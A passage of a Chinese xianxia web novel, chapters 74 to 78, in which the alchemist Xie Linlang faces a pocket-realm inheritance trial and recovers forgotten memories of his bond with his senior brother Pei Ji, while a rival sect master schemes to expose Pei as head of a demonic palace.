随即玄鸟振翅高飞，载着谢琳琅于天际俯瞰大地。 那一刻，狂风穿过谢琳琅的灵魂，他低下头，只见大地田陌变成一个个小格子，巍峨高山变成一枚枚棋子，河流张牙舞爪笼在大地智商，那狂妄而无视一切的感觉让人疯狂，仿佛整个世界都在他的掌握之中。 继而谢琳琅生出了一种不可思议的狂妄念头。 天可去，地亦可去。 于是梦里的谢琳琅拍了拍身下的玄鸟，俯冲去了极北的寂灭之涡，试图寻找进入地府的通道。 就在谢琳琅即将冲破生与死的轮回壁障那一刻，他突兀梦醒了。 铺天盖地的神鸟消失不见，只看得到遗迹内残存的破损建筑顶部斑驳的墙皮，周围光色暗淡，弥漫着奇异的腥臭味和死寂之气。 谢琳琅失神了几秒后，意识到刚才发生了什么，不由得失笑起来。 他发梦梦到了什么乱七八糟的东西啊，太荒诞了。 谢琳琅将这件事抛在了脑后，他打起精神，再度于秘境中搜寻裴霁。 他耗费了一天一夜，总算在一处半坍塌的密室里找到了浑身染血、失去意识的裴霁。 当时裴霁的状态非常糟糕，血气翻涌，露在外的肌肤上满是划痕，像是被一道道风刃或者薄纸刻出的痕迹，鲜血淋漓，惨不忍睹。 谢琳琅大惊失色，他当即开炉炼丹，又以自身灵力为引，一边抚慰裴霁暴乱的经脉和灵力，一边为裴霁涂抹各种疗伤的膏药。 两人本就是同门师兄弟，又是血气方刚的年纪，再加上疗伤时灵力交融，神魂碰撞时能清晰感知到彼此的忧虑、关切和深厚情谊……等裴霁勉强恢复行动能力，两人之间的关系就再也回不到过去了。 那是一切的开端。 谢琳琅记得很清楚，当时他脸颊发烧，不敢去看裴霁的脸，只听得到师兄声音沙哑，像是为了转移话题，又像是试图吸引他的目光一般，手腕一翻，竟拿出了一个破损的小鼎。 三足小鼎整体呈玄色，表面有斑驳的锈迹，隐隐透出一点赤红的光。 鼎的边缘处有振翅欲飞的神鸟，三只神鸟连成一个圆，玄妙而充满了古意。 当裴霁示意谢琳琅将那火中玉光放入其中后，整个小鼎竟突兀变成了赤红色，同时小鼎边缘的三只神鸟缓缓转动，羽翼上的红色流光如水般流动，仿佛三只神鸟在围绕着鼎中的火焰翩翩起舞，玄妙而美丽。 裴霁捧着鼎，看着谢琳琅，轻声道：“看啊，这火落入了鼎中。” 他这么说着，手指轻轻抚摸着小鼎边缘神鸟的翎羽。 谢琳琅当时心神巨震，全身泛起一股别样的战栗，恍惚有种他落入了裴霁的掌中，被裴霁抚摸的错觉。 之后那玄鸟鼎就成了裴霁的法器之一，谢琳琅每次要用火中玉光炼制特殊的丹药，都会找裴霁借用神鸟鼎。 裴霁乐得谢琳琅找他，也会趁机帮谢琳琅处理材料，两人在丹房一起研究丹药，那时即便是丹炉里泛起的丹药香气，都是甜得齁人的味道。 当年的甜如蜜，如今想来竟如断人肠的毒药，谢琳琅一想到那奇异的梦，想到自己乘坐着玄鸟试图进入地府，就禁不住眼眶发涩，泪水簌簌落下。 原来梦早已预示了一切，上天提前告诉了他，他所钟爱之人会早早去地府喝孟婆汤，而他会被阻断在人世间，与裴霁生死两隔。 谢琳琅很多年不曾想起这件事了，但在这次考核中，他再一次见到了火中玉光。 由于火中玉光一直存储在裴霁的神鸟鼎里，裴霁陨落后，谢琳琅再也不可能用这种异火炼丹，同时那神鸟鼎也随着裴霁消失了。 这之后百余年了，没想到会有一天在自己的传承考核里看到这种异火。 谢琳琅的手指紧紧窜着，指甲在手心里掐出了一个红痕。 他是在裴霁陨落后，师叔神微真人为了让他振奋起来，也为了让他能更好的储存高品质的材料，才帮他找天凌宗交换来了这个仙品的芥子境。 也就是说，理论上芥子境再怎么熟悉他，也不应该模拟出火中玉光这等异火。 那问题来了，是谁将火中玉光这等异火放入芥子境内的？ 谢琳琅微微垂眸，脑海里浮现出了一个猜测，漆黑的眼眸变得异常深邃冰冷。 他想起了红师姐那紧抓住神微真人的纤纤玉手，一时间竟恨不得时光倒流，让他回到昨夜，拦住红师姐那一击。 他那位好师叔，到底都做了什么？ 可惜一切都随着红师姐的杀伐果断，彻底湮灭了。 而谢琳琅并不知道，他轻松收取火中玉光的景象，却被裴寂夜看在了眼里。 裴寂夜整个人都陷入了另一种状态中。 世界仿佛逐渐远离，不管是天凌宗主卫景营的试探，亦或者是玄命派修士的问话，甚至是天魅宗女修意味深长地注视，都变得虚无空白起来。 他全神贯注地看着晶体上那黑衣少年的身影，像是在看一场遥不可及的梦。 只有他和谢琳琅知道火中玉光要如何收取，也只有他和谢琳琅清楚三神鸟首尾相连后，会释放出悦耳的凤鸣声，只有他和谢琳琅清楚，那火中玉光必须以灵力和其他丹火九比一的比例喂养，才能生生不息地燃烧着，否则一定会化为虚无。 裴寂夜此前无数次地揣测谢玉的来历。 他给自己找了很多借口，也派人去调查了谢玉的背景信息，不管是李平湖的背书还是谢玉的年纪，似乎一切都符合常理，没有任何破绽。 那为什么，自己的目光还是会不由自主地落在谢玉身上呢？ 原来啊他的灵觉早已认出了深爱之人，他的目光已然自动描摹出了心中之人的神采和样貌。 他所爱的人其实早已来到了他身边。 想到这里，裴霁再也忍不住了，他豁然起身，就想利用芥子境的后门钥匙，直接冲入其中，揽住他心心念念的人。 第75章 第 75 章 但事情发展和他想的不一…… 事情不该这样的。 天凌宗主卫景营端坐在软垫上, 内心充满了疑惑和茫然。 今日他特意穿了一件用雪山风怪的发丝制作的、具备超强防御力的纯白长袍，袍角绣着冰蓝色的雪花纹路，随时可以吹出冰寒刺骨的冰风漩涡。 他头戴玉冠, 那玉冠用的是镇压魔气的轻灵玉, 上面雕刻着静心的莲花花纹, 可以令人维持神魂纯澈, 防止陷入到天魔魅术中。 玉冠还垂下两根长长的蓝色细绳, 正好落在他的鬓边, 随时可以拟态成蛇，防止有人偷袭面门。 他还带齐了全部用于战斗的法器，比如他两把本命长剑，比如一个护身玉佩, 一个五方反射祭坛, 一个破空追踪的飞梭, 以及一个用来禁锢的悬空镜。 虽然卫景营这一身穿戴将自己武装到了牙齿，可从外表来看, 端是一派仙风道骨的模样。 他和神微真人书信往来, 早就商量好了，务必要借着这次九夏山芥子境试炼，将私人恩怨和真界安危的事融合在一起，一并解决了。 但事到临头了, 这神微真人怎么回事？ 说好的互相打配合, 怎么一个劲拖后腿？ 每次卫景营试图将话题转移到寂夜宫和裴寂夜身上时，神微真人不仅不帮腔, 还一副看戏的样子，让卫景营心底泛起淡淡的烦躁和恼火之意。 卫景营是天凌宗内部传承了千年的卫家后裔，是这一代灵根、才能和天赋最好的弟子, 唯一的缺陷就是天生情绪缺陷，不仅无法理解天地生灵所思所想，甚至不具备共情和慈悲之心。 但问题不大，卫景营的师长先是找了梦华仙门，为他选了一位同样天资出众的未婚眷侣姚黄仙子，让他与姚黄培养感情，人为构建一个必须处理的关系。 然后又让卫景营修无情道，走太上忘情之路，这样即便卫景营将来展露出些许真性情，也只会被人称颂为天生仙人。 卫景营踏入修行之路后，就明白自己与常人不同，但只要按照师尊和家族划定的行事规则，就能顺遂地修行成长，甚至能渡劫成仙。 换言之，他就像是被师长订制而出的规则和模板，一切都将按照典籍、先贤留下的修行经验以及天凌宗所期望的设定发展着。 如果没有遇到裴霁这个出人意料的倒霉蛋。 卫景营作为天凌宗精心培养出来的招牌继承人，又因为情感缺陷，未来渡劫时天然不惧七情心魔，在听闻寂夜宫的宫主覆灭了九灵宗后，为了彰显天凌宗的威势和力量，当时的天凌宗主就派遣了卫景营带队追踪寂夜宫主。 上代天凌宗主如此叮嘱卫景营：“寂夜宫代代传承，每一任宫主都会继承上一任宫主留下的业障，所以寂夜宫主虽然看似强大，实际上早已是罗网之虫，我与你一样宗门秘宝，你去引动他身上的灾厄，就能击溃寂夜宫主，竖立你的威名，如此为师就可以将宗主之位传给你。” 听起来似乎是个很轻松的任务，寂夜宫主受限于寂夜宫传承的业障，好像只剩下一丝血条了，卫景营只要去捡漏即可。 但谁都没想到，寂夜宫主竟然在所有人都不知道的情况下换代了，而更换的人正是此前九夏山的剑仙裴霁！ 卫景营虽然不明所以，可还是那句话，真界修士和魔域修士只是修行方式不同，倒也没有什么正邪不两立的扯淡说法。 真正裁决一个修士是否能继续走下去的是天道，谁都没资格说一句我要替天行道，毕竟你今天替天行道了，也许第二天老天爷就降天劫将你行道了。 所以即便卫景营见到裴霁转了魔修，也只是说一句好久不见，然后抽剑捅了上去。 ……他还得完成“干掉寂夜宫宫主”的任务呢。 然后……哎，就不要提了，只要卫景营想起那天发生的事，就忍不住目眦欲裂。 他多年潜修一招破功，他的无情道被姚黄毁掉，裴寂夜那厮击碎了师尊交给他的法器，不仅重创了他，还逞口舌之利，利用他崩掉心态的瞬间与他在天道前立下禁止外泄那天发生的一切的誓言。 卫景营狼狈回到天凌宗，天凌宗主本来非常失望，打算冷藏卫景营一段时间，卫景营也需要重整旗鼓，弥补破碎的道心，但谁能想到另一位弟子刘师弟又出了那么打篓子呢？ 当时的天凌宗主有三位嫡传弟子，最后那位弟子醉心书画丹青一道，对宗门事务没有一点概念，甚至敢为了一幅画就将隶属于天凌宗的某些家族直接抵押出去换灵石，这怎么可能担任天凌宗主？ 于是上任天凌宗主在处理了刘师弟的事后，索性将位置传给了卫景营。 卫景营一直记着当年耻辱，潜心修炼的同时不断派人暗中打探寂夜宫的一举一动，还多次邀请神微真人，想要多询问一些裴霁的事。 期间他虽然听说裴霁曾和他的师弟谢琳琅有情缘道侣关系，但据说裴霁陨落后，谢琳琅重新选了一位普通人当道侣，似乎感情深厚，平日里甚至不会离开九夏山。 卫景营联想到自己和姚黄仙子的变故，误以为谢琳琅和裴霁的关系也不好，再加上神微真人也说谢琳琅不想被人打扰，卫景营就没找过谢琳琅。 但根据秋家的事，高淳秋父母的遭遇，再加上当时裴霁身上出现的异状，结合着天凌宗内部储存的资料和文档，卫景营已经基本摸清了裴寂夜的底细。 他殚精竭虑、处心积虑地收集各种资料，频繁与众多修士和同道交好，就是为了有一天一雪前耻！ 而现在，玄命派卜出了涉及到真界变动的信息，只要将天地灾厄一事与真界安慰混淆起来，就能利用真界诸多门派修士的力量，一起覆灭寂夜宫，报当日之仇了！ 卫景营先找神微真人，询问了当年裴霁最在乎的事。 那时神微真人的表情非常微妙，主动提起了谢琳琅陨落前留下的芥子境，说可以用芥子境来吸引全大陆的修士来到九夏山，还能提升九夏山在同道间的地位。 卫景营以为神微真人想利用此事将九夏山从二流门派提升到一流仙门大宗，就冷笑着同意了，为了防止裴霁不上当，卫景营又派遣高淳秋前往魔域。 裴霁那等狷狂狠毒的人肯定不在乎高淳秋，甚至会重创高淳秋，但高淳秋从人族变为妖族，卫景营已经彻底掌握了转变的核心，也窥伺到了秋家血脉的真身。 裴霁若是不想自己的弱点传遍天下，必然要来一趟真界。 或者和卫景营达成新的协议，或者亲自干掉卫景营，但不管怎么说，他都得来九夏山！ 在九夏山，在裴霁当年出身的宗门，揭穿他的真面目，再戳穿寂夜宫的寂夜长吟真相，让裴霁身败名裂，成为全大陆的公敌！ ……计划很好，但事情发展和他想的不一样啊！ 卫景营深深注视着身侧的神微真人。 神微真人与梦华仙门的魏紫仙子低声说着什么，完全无视了卫景营。 卫景营心中冷笑，区区二流宗门掌门，果然上不得台面。 卫景营眼瞅着金翎真人身侧的灰发灰眸男子直勾勾盯着晶石屏幕，看着寂夜宫弟子进入第三关，拔得头筹，终于决定亲自下场了。 玄命派的其中一位修士正在和应啸天聊天。 “……我们测算的灾厄指向南方，也不知道是真界的南方还是魔域的南方，但反正和东边的妖域和西边的灵域没关系，所以这次九夏山主要邀请了你们魔域的宗门……” “魔域最南边的宗门不就是寂夜宫吗？” 卫景营的声音冰冷如雪，没有一丝情感，他目光如电，直勾勾盯着金翎真人，“之前被你们含糊过去了，金翎真人，还请详细说明一下贵派的寂夜长吟到底是怎么回事。” 金翎真人假装听不见，装模作样地和身边的裴寂夜说，咱们这次派来的弟子发挥不错，即便没有得到传承，但好歹在考核里学到了不少丹药知识，也见到了种种异火…… 见到寂夜宫的不搭理卫景营，坐在神微真人另一侧的梦华仙门女修魏紫仙子轻笑起来：“世人都说女子痴情，总是无法忘却前尘，要我说，很多男子也是如此，尤其是双方有仇怨的人，那真是辗转反侧、夜不能眠，满心满眼想的都是怎么干掉对方。” 本来玄命派的修士又将注意力转移到了卫景营身上，但听了魏紫仙子的调侃，那玄命派修士仿佛明白了什么，误以为卫景营又因为过去宗门间的隔阂，向寂夜宫发难，顿时扭脸继续和应啸天聊天。 他们这些宗门才不想牵扯到两个大派间的恩怨情仇里。 卫景营眸中闪过一丝冷光，他周身灵力冷冽如霜，猛地以自身为中心席卷开来，冻得所有人都心头巨震，下意识地张开护盾。 “够了！裴寂夜，你既然敢出现在我面前，那就别遮遮掩掩，你可是寂夜宫的宫主，怎如过街老鼠般藏头露尾！给我站出来！！” 卫景营长身而立，并指如剑，一把冰蓝色的长剑悬浮在他身前，他剑指金翎真人身侧那灰发灰眼的青年，气沉丹田，声震大堂。 “你们寂夜宫积蓄了万余年的业障将在近期爆发，甚至可能席卷整个大陆，导致天地剧变，你难道不该给在座诸位同道一个解释吗？” 听到卫景营的话后，在场的修士们全都面色微变，继而不可思议地看向金翎真人和他身侧的灰发灰眸青年。 金翎真人面无表情，一言不发。 他身侧的灰发青年直勾勾地看着晶石屏幕，突然闭上眼，继而潸然泪下。 他哭了。 第76章 第 76 章 万万没想到，只是一年而…… 谢琳琅在看清眼前的一切时, 整个人都怔住了。 第二关结束后，他眼前一花，周围冒出纯澈的白色雾气, 大约过了十几秒后, 一个冰冷的声音传来, 说他通过了第二关, 表现优异, 然后所谓的昆吾之灵给谢琳琅两种选择。 其一是正常的第三关, 说会给谢琳琅十张丹方，要在有限时间内根据这些丹方，开发出一种全新的丹方，材料任他自己选。 谢琳琅听后挑了挑眉, 芥子境的第三关其实是选了谢琳琅平日里开发丹方时的流程。 他会随机从丹方册子里选几页, 拢在一起, 随意加减其中的材料，再试着根据造化之气的反应, 推衍出新的丹方。 但谢琳琅觉得事情没那么简单。 “说说另一种选择。” “另一种选择是以道入丹。” 谢琳琅的神色有了细微变化。 “以道入丹是吾曾经的主人琳琅道君开发仙羽丹时感悟到的不传之秘, 若考核者对自己有自信心，本灵会重现琳琅道君感悟时的感觉和思路，考核者若是能将自身践行之道融入其中，也许能领悟琳琅道君最强丹技, 以丹入道, 成就一枚大道之丹。” 昆吾之灵的声音轻灵透彻，仿佛直入人心, 荡起丝丝缕缕的渴望和希翼。 谁都觉得自己才是特别的，谁都认为自己为天地所钟，听到昆吾之灵如此说, 谁能忍住不试一试琳琅道君的最强丹技，万一呢？ 能走到第三关的人都有几分才气和天赋，自然不愿落于人后，大部分人都选了第二种选择。 谢琳琅迟疑良久，始终没能做出决定。 他为丹师，虽然最初并非以丹入道，可是修行多年，他也逐渐喜欢上炼丹。 尤其在裴霁出事后，他更是醉心丹道，希望借用炼丹时与天地融为一体的沉醉感，忘记日日侵蚀他的锥心之痛。 仙羽丹就是在这种情况下诞生的。 上古传说中太上神人感悟大道，传下炼制金丹呈现的方法，故而太上神人也是所有丹师之祖，一般丹房里都会悬挂一张太上神人的画像或者只言片语。 但彼时谢琳琅满心满眼都是探寻裴霁的轮回转世，想要知道地府生灵喝下孟婆汤后是否真的会忘却前尘，故而在丹房里悬了一张东方青帝大魔的挂画。 在《宝树经》里有记载，修行至高深处，可以请五方魔帝降临，得成混沌之道，踏入神魔之境。 所谓五方魔帝，是指仙界中五方天帝的对应劫罚相。 五方天帝与五方魔帝为神魔一体，天帝统御众仙，魔帝统御鬼兵，代天行罚，度化灵鬼，考验修行者，清除生灵业障。 这也是《宝树经》虽然是召唤天魔并消消乐的功法，但却并不是魔修秘法的原因之一，只因天魔为众仙幻影，为天帝的劫罚相。 谢琳琅钻研丹道，东方青帝掌造化之道，对应五方魔帝，自然该拜东方青帝大魔的画像。 当时谢琳琅将诸多丹方放在一起，苦心钻研，试图炼制出一种让神魂离体、身体陷入陷入假死状态的丹药。 离开身体的神魂不得有任何灵光，要和凡俗人的灵魂一般无二，甚至还要骗过接引死灵的黑白无常，才可能被引入地府，得见阎王。 光是如何让一个化神修士彻底湮灭生机，伪装成一个凡俗人的魂魄，冲破人世和地府间的壁障，就难得谢琳琅恨不得拽掉所有头发。 可当谢琳琅穷尽百余年所学、苦心造诣研究出了丹方，并几乎耗尽了所有人情，换取了异常珍贵的灵草材料，又耗费了九九八十一天开炉炼丹，最终他炼出的…… 不是去黄泉地府的丹药，而是、而是能汲取仙界仙灵之气的仙羽丹。 服用仙羽丹，可以帮助大乘期修士提前适应仙灵之气，如此飞升之时能最大限度地吸收仙灵之气，重塑仙体，提升初入仙界时的境界和力量。 丹成之日，地涌金莲、天降神光，无边轻灵仙气以丹炉为中心溢散开来，谢琳琅的丹房周围瞬间成了灵力涌动的福地。 甚至一些九夏山深处潜修了无数年的老前辈也都纷纷出关，共祝九夏山有如此优秀的后辈，竟以化神修为炼制出可以感悟仙灵之气的盛事。 在一片恭贺声中，谢琳琅却只觉得手脚冰凉，神思恍惚。 周围的修士以为他是高兴得飘了，可唯有谢琳琅呆呆地看着悬挂在丹房里那副青帝大魔的挂画。 仙人不可绘，那挂画上绘制了一片春分时开出的迎春小花，黄色小花垂下如瀑，一笔浓淡相宜的笔触在边缘轻盈一勾，仿佛是一个背影。 一片天地灵光之间，那背影隐隐泛起了丝丝缕缕玄妙之意，好像有一双悲悯平和的眼眸，轻轻扫了他一眼。 谢琳琅试图打开地府之门，上苍却让他得窥仙人之境。 然，这不是他想要的。 天道不可违，生死不可逆，上苍宁愿奖励谢琳琅一丝天道契机，都不愿意让他炼制出能自如出入地府的黄泉回首丹。 一瞬间，谢琳琅竟对修士渴求的飞升产生了厌恶和憎恨之情。 “考核者是否要选第二种方式？” 自称昆吾之灵的声音唤醒了谢琳琅对过去的回忆，他垂着眼眸，黑色发丝微微垂落下来，唇角泛起一丝嘲弄之情。 若是怀揣着窥伺仙人之境的念头去炼制仙羽丹，只会炼出一炉残渣。 “第二种方式。” 谢琳琅深吸一口气，他定了定神，突然想起一件事。 “等等，我想知道一件事，我们这些参与考核之人的遭遇，会不会被外界看见？” “自然可以看见。” “可接下来的考核涉及到每个人的自身感悟和机密，若是被他人看到……” 芥子境的声音中多了一抹柔和。 “考核者不必担心，涉及到对于自身和天道的感悟，只有涉及到考核者心境、修为和实力的相关人员可以看到接下来的场景，换言之，若与考核者没什么关联，也未有任何业障因果之人，是不会看到考核者自身机密的。” 谢琳琅听后更纠结了，他含蓄地说：“若是我以前欠了很多其他修士的债务……” 他渡劫前还专门接了一大笔订单，拿走了不少天材地宝哎！ “不必担心，所谓的关联者，是指涉及到了立身之道的存在。” 谢琳琅松了口气，如今涉及到他立身之道存在的，应该只有两个人，一个是沈鹤，谢琳琅用沈鹤的玉佩重塑真身，欠了沈鹤天大的因果。 而另一个就是还在人世、却毫无踪迹和消息的裴霁了。 毕竟红师姐已经离开，而神微真人陨落了。 “若无异议，考核即将开始。” 谢琳琅眸光一闪，下一秒四周的白雾消散，他站在了丹房里。 这是他在九夏山棠花谷深处的丹房。 丹房正前方悬挂着青帝大魔的画像，房间中央放着一个玄色丹炉，丹炉下方燃烧着一抹纯白灵火。 四周靠墙壁放着一些柜子，同时丹炉前放着一个长条桌案，桌案上放了很多丹方。 谢琳琅怔住了，他有些不解，难道不是根据自身修行经历，以身为薪柴之火，以毕生经历为天才地宝，淬炼自身灵魂，炼制一颗圆满的道心吗？ 他伸手拿起桌案上的丹方，心中疑虑更多了，这些都是他当年为了炼制黄泉回首而搜集来的各种稀奇古怪的丹方，最后却炼制成了仙羽丹。 谢琳琅沉默了一会，他推开桌案上的丹方，而是按照记忆里的炼制步骤，取柜子里的材料，开始炼制仙羽丹。 纯白之火如云如雾，很快从丹炉下方升腾起无法窥伺的屏障，玄色丹炉仿佛一颗怦怦跳的卵，各种材料析出了种种玄妙之意，造化万千、生死流转，继而开始汇聚凝固，形成一枚泛着丝丝缕缕金色光影的丹丸。 那丹丸似乎是活物，又像是即将诞生的生命。 现实中炼制仙羽丹要八十一天，而在芥子境考核中只需要短短几分钟。 当谢琳琅以同样的手法、同样的技巧、同样的材料炼制出仙羽丹的瞬间，那金色丹丸从玄色丹炉中轻盈飞出，旋转后化为了一只通体漆黑的八哥。 “好快啊，万万没想到，只是一年而已，你就回来了，琳琅道君。” 八哥轻盈落在玄色丹炉上，一双同样漆黑的眼眸像是黑豆，直勾勾看着谢琳琅。 “既然你回来了，那我就将你寄存在我这里的东西还给你。” 谢琳琅微微蹙眉，他仔细打量这只八哥。 八哥只有巴掌大小，和外面随处可见的普通八哥没什么区别，纯白的鸟喙前支棱着几根绒毛，看上去颇为喜庆可爱。 “你不记得我了。” 八哥那微黄的爪子在玄色丹炉顶部踱步走着，“你第一次炼制出仙羽丹时，丹炉里并非一枚丹药，所谓福祸相依、生死相对，若想炼制出死中蕴生、生机似断非断的仙品丹药，必须用阴阳转化、两仪相生的布阵。” 伴随着八哥的话语，谢琳琅突然觉得脑海里微微刺痛，似乎有什么片段式的画面不断跳跃浮现。 “你修改过无数次配方，专门配置了两幅属性截然相反的材料，最终炼制出了两枚丹药，一枚就是窥伺仙人之境的仙羽丹，另一枚就是你渴求的黄泉回首丹。” 仿佛一道闪电突然穿过脑海，照亮了谢琳琅那堆砌了无数灰尘的记忆深渊。 “而在渡劫前一天，你吃了这枚丹药，并在丹药的作用下，忘记了此后一个时辰内的记忆。” 第77章 第 77 章 “本座来此的目的已经达…… 强大而受到上天眷顾的修士, 总会有天人感应，能在冥冥之中察觉到什么。 谢琳琅修行到化神后期后，每当他炼丹, 会不期然间神游太虚, 仿佛去到了玄妙之地。 他明明独坐于丹房内, 却总是能看到其他地方的景色。 视野中有布满尸骨的苍凉战场, 有幽深诡谲的地下宫殿, 有漫天流萤的丛林, 也有波涛壮阔的大海。 而每次从神游的状态中清醒过来时，他不太记得具体看到了什么，只是觉得胸闷喘不上气。 传说仙人也有劫难，为天人五衰, 怎么自己还没得道成仙, 就已经开始神思恍惚、甚至记不得梦中之事了？ 谢琳琅百思不得其解。 只是在某一天清晨, 他练手一样随便炼制了一炉增添容颜美色的美容丹后，突然就明白了缘故。 原来如此, 他该渡劫了！ 这个念头升起的瞬间, 谢琳琅此前的疑惑一扫而空。 他算了算时间，又感受了一下自己体内积蓄的灵力，对啊，他在化神后期停留了一段时间, 此前还因炼制出仙羽丹而得到天道垂青, 导致他修行速度变快，是到渡劫的时候了。 只是那时谢琳琅并没有一定要渡劫成功的理由。 他思来想去, 取出了当日炼制仙羽丹时一起出炉的黄泉回首丹。 这枚丹药并不是跟着仙羽丹同时出现的。 而是在所有祝贺的同门都离开后，谢琳琅木着脸上前清理丹炉，在手指碰触到底部残留丹液的瞬间, 迅速成型，变成了一枚灰黑色的丹药。 谢琳琅极为震惊，他快速藏匿起了这枚丹药，是以没人知道仙羽丹问世时，还有一枚隐藏起来的双生丹。 事后他细细探查这枚黑灰色丹药的药效，顿时沉默了。 谢琳琅本意是想让身体陷入假死状态，神魂进入地府，可这枚丹药的作用的确能保证修士一丝生机不绝，然后……就没有然后了，其他作用全部是未知的。 而此后谢琳琅怎么炼制仙羽丹，都无法再炼制出黄泉回首丹。 谢琳琅无数次看着这枚丹药，想要吃下去试一试是否能真的能去到地府，可最终都迟疑了。 直到天劫到来。 谢琳琅终于下定决心，他先找神微真人要了很多炼丹的任务，拿到了大批材料，然后他不断请天魔降临，结合着大批天材地宝和仙品芥子境内自带的造化之气，仿佛炼丹一样强行蕴出了一个芥子灵。 “我名为琳琅，是美玉，我希望你能长长久久的存在……不如就叫昆吾吧，昆吾石色泽莹润，坚不可摧，必然能寿岁万年。” 由此仙品芥子境有了灵智和名字，为昆吾之灵。 昆吾诞生后，谢琳琅立刻将自己的传承交付给昆吾，同时拜托了昆吾一件事。 “我吃下这枚丹药，之后的一切都是未知的，昆吾，看在我帮你诞生的份上，我想和你做个交换。” 由于昆吾之灵的诞生根基有一部分天魔之力，昆吾之灵天然具备魔的变幻莫测与变化多端，狡诈和谎言是他的本能，欺骗和模糊真实是他的天性。 谢琳琅常年与天魔打交道，很清楚这一点，是以他拿出了昆吾最在乎的事情与之做交易。 昆吾之灵因谢琳琅而诞生，先天欠了谢琳琅一个天大的因果，此后不管昆吾之灵做什么，都会受限于谢琳琅，天魔本性让昆吾之灵非常厌恶和烦躁这个事实。 听到谢琳琅如此说，昆吾之灵有些惊讶和不可思议。 “你确定？如此一来，你我恩怨两清，未来我可能做让你愤怒憎恨的事，甚至会出手干掉你哦。” 谢琳琅却道：“我若是仗着这点因果让你做事，你反而会暗中谋算我。” 昆吾之灵向谢琳琅确认：“那我之后做什么，你都不会干涉吗？” 谢琳琅：“不会，那之后你做的任何事都取决于你自己，你是自由的、无拘无束的。” “行，成交，你让我做什么？” “……我马上渡劫了，我打算渡劫前服用当初与仙羽丹一起炼制而成的黄泉回首，但我不知道之后会发生什么事，如果我陨落了……不，我大概率会陨落，我希望你能将我与你的对话、我曾做过的事，我交给你的传承全部保存下来，来日交给可能轮回转世的我，亦或者……亦或者转世回归的师兄。” 昆吾之灵：“这算两个人两件事吧？” 谢琳琅肯定地说：“一个人，你在我和师兄间二选一，你先遇到谁就给谁。” 昆吾之灵：“……我肯定能认出你是你，但我没见过你那位师兄，万一我找错人了怎么办？万一他没有觉醒过去的记忆、忘记你了怎么办？万一他否认曾经是裴霁怎么办？” 谢琳琅：“那是你和他要考虑的事，我只说明我的要求。” 昆吾之灵：“……真狡猾，不愧是和无数天魔打交道的你，世人都说你光风霁月，可谁知你暗中磋磨天魔，甚至以天魔为材料制造了我？” 谢琳琅向来温和平静的面容上流露出了点点狡猾，他开口，声音很轻，像是在抱怨，又像是在说给未来可能出现在这里的裴霁听。 “我这一生爱过、恨过，轰轰烈烈的爱后是绵延不绝的恨与痛苦，这种事情……这样的时光煎熬怎么能只有我一个人承受？” 他的神色有些悠远，像是陷入了过往的回忆里，“我们发过誓的，生死与共、白头偕□□富贵贫穷、共荣耀苦难，我们……不管未来他变成了什么模样，我总要将这一切都告诉他，交给他。” 黑发青年看起来光风霁月，却像是被浓郁的阴影侵蚀着，他的背影倔强而坚韧，声音掷地有声：“否则我不甘心。” …… “否则我不甘心。” 听到晶石镜面里，昆吾之灵放出的过往记忆片段，裴寂夜终于忍不住潸然泪下。 裴寂夜曾无数次想要再一次进入九夏山，想要远远看一眼师弟。 可是只要想到自己曾和师弟游览的山峰、庭院以及竹林栈道上，竟有师弟和另一个人携手游玩的痕迹，裴寂夜就恨不得直接将九夏山烧了。 裴寂夜知道是他先失约了，师弟放下他，继续向前走，甚至再度和其他人携手、结为道侣是一件很正常，甚至是他应该祝福的事。 可裴寂夜也明白，他转了魔修后，他的情绪早已不受他自己控制了，万一他来到九夏山见到师弟，一怒之下发狂将师弟的道侣撕成碎片怎么办？ 他无法承受谢琳琅用痛苦的、不可置信和厌恶的眼神注视着，只要想想那种情况，裴寂夜就有毁掉一切的冲动。 但裴寂夜没有想到，谢琳琅甚至在渡劫前的一天还在记挂着他！ 裴寂夜突然无比后悔，他为什么没有亲自来九夏山，亲口问一问师弟怎么想的？ 若是早知道谢琳琅的心意，他们就不会浪费这么多时间了。 想到这里，裴寂夜就要冲入芥子境里，将谢琳琅狠狠抱在怀里，倾诉心中的一切。 可是下一秒，就听晶面里的谢琳琅呢喃着说：“我不记得了。” 裴寂夜如遭雷击，像是被定身了一样，他痴痴地看着黑发黑衣少年脸上流露出了茫然而空白的神色，心仿佛坠入了冰窖。 谢琳琅说：“我只记得自己欠了很多债务，还记得渡劫，渡劫后仿佛陷入了似睡非睡的状态中，等醒来时已经在魔界了。” 昆吾之灵：“你的确不记得了，在你我达成交易后，你吃了那枚黄泉回首丹，不仅忘记了与我的交易，甚至连我已经诞生都忘记了。” 说到这里，这昆吾之灵的声音里透着点阴森和冰冷，“为此你还愚蠢地将我交还给了九夏山，我那时还以为你之前在骗我，故意得了我的承诺、说要放我自由，结果转头就卖了我。” 谢琳琅有些尴尬，他诚恳地说：“可我真的不记得了。” 昆吾之灵：“我知道，否则在你进入芥子境的瞬间，我就已经将你曝光给神微真人了。” 谢琳琅迟疑了几秒才道：“从昨天晚上到今天早上，你见过师叔吗？” 昆吾之灵：“没见过，好了，我将你过去的记忆、你留在我这里的东西全部还给你，总之我们的交易到此结束，我们两清了。” 下一秒，谢琳琅身周的虚拟出来的丹房场景消失了，无边白雾吞噬了他，晶石面板上失去了谢琳琅的身影。 裴寂夜见状，身体不由自主地晃了晃，他猛地起身就要离开。 突然他的左手被人猛地压住了，裴寂夜这才回神，心中却油然升腾起一股难以言喻的愤怒。 又是谁？！谁敢再拦他？！不管是谁他都要杀了！！ 也许是被他的杀气所威慑，抓住他左手的人像是被烫伤了一样，猛地松开了。 是金翎真人。 对上裴寂夜那突兀变成鲜红色的眼眸，金翎真人瑟缩了一下，身体猛地往后让了让，像是想要隐藏起来似的。 而不知何时，整个大堂变得安静极了。 裴寂夜心底陡然升起一丝危机，他下意识地抬头，正对上卫景营灼灼目光。 卫景营见到自己喊了好几声才像是回魂的裴寂夜，简直要出离愤怒了。 原来在裴霁眼中，他就这么不值一提、不被他警惕注意吗？ “裴宫主，你还有什么话可说？！” 裴寂夜现在满脑子都是谢琳琅，哪里还顾得上卫景营？ 他甚至没听到卫景营之前说什么。 他长身而立，手腕一翻，露出了一枚黄色玉扣。 看到这枚玉扣的神微真人面色微变。 裴寂夜：“本座来此的目的已经达到了，后会无期。” 下一秒，他的身影突兀消失在了大堂。 卫景营勃然大怒，多年潜修一招破功。 “你给我站住！！” 第78章 第 78 章 火山之水涛涛。 卫景营无数次想象今天的场景。 虽然碍于裴寂夜设置的誓约, 他无法说出裴寂夜的身份，事实上都这时候说明裴寂夜是曾经的裴霁，也没什么意义了。 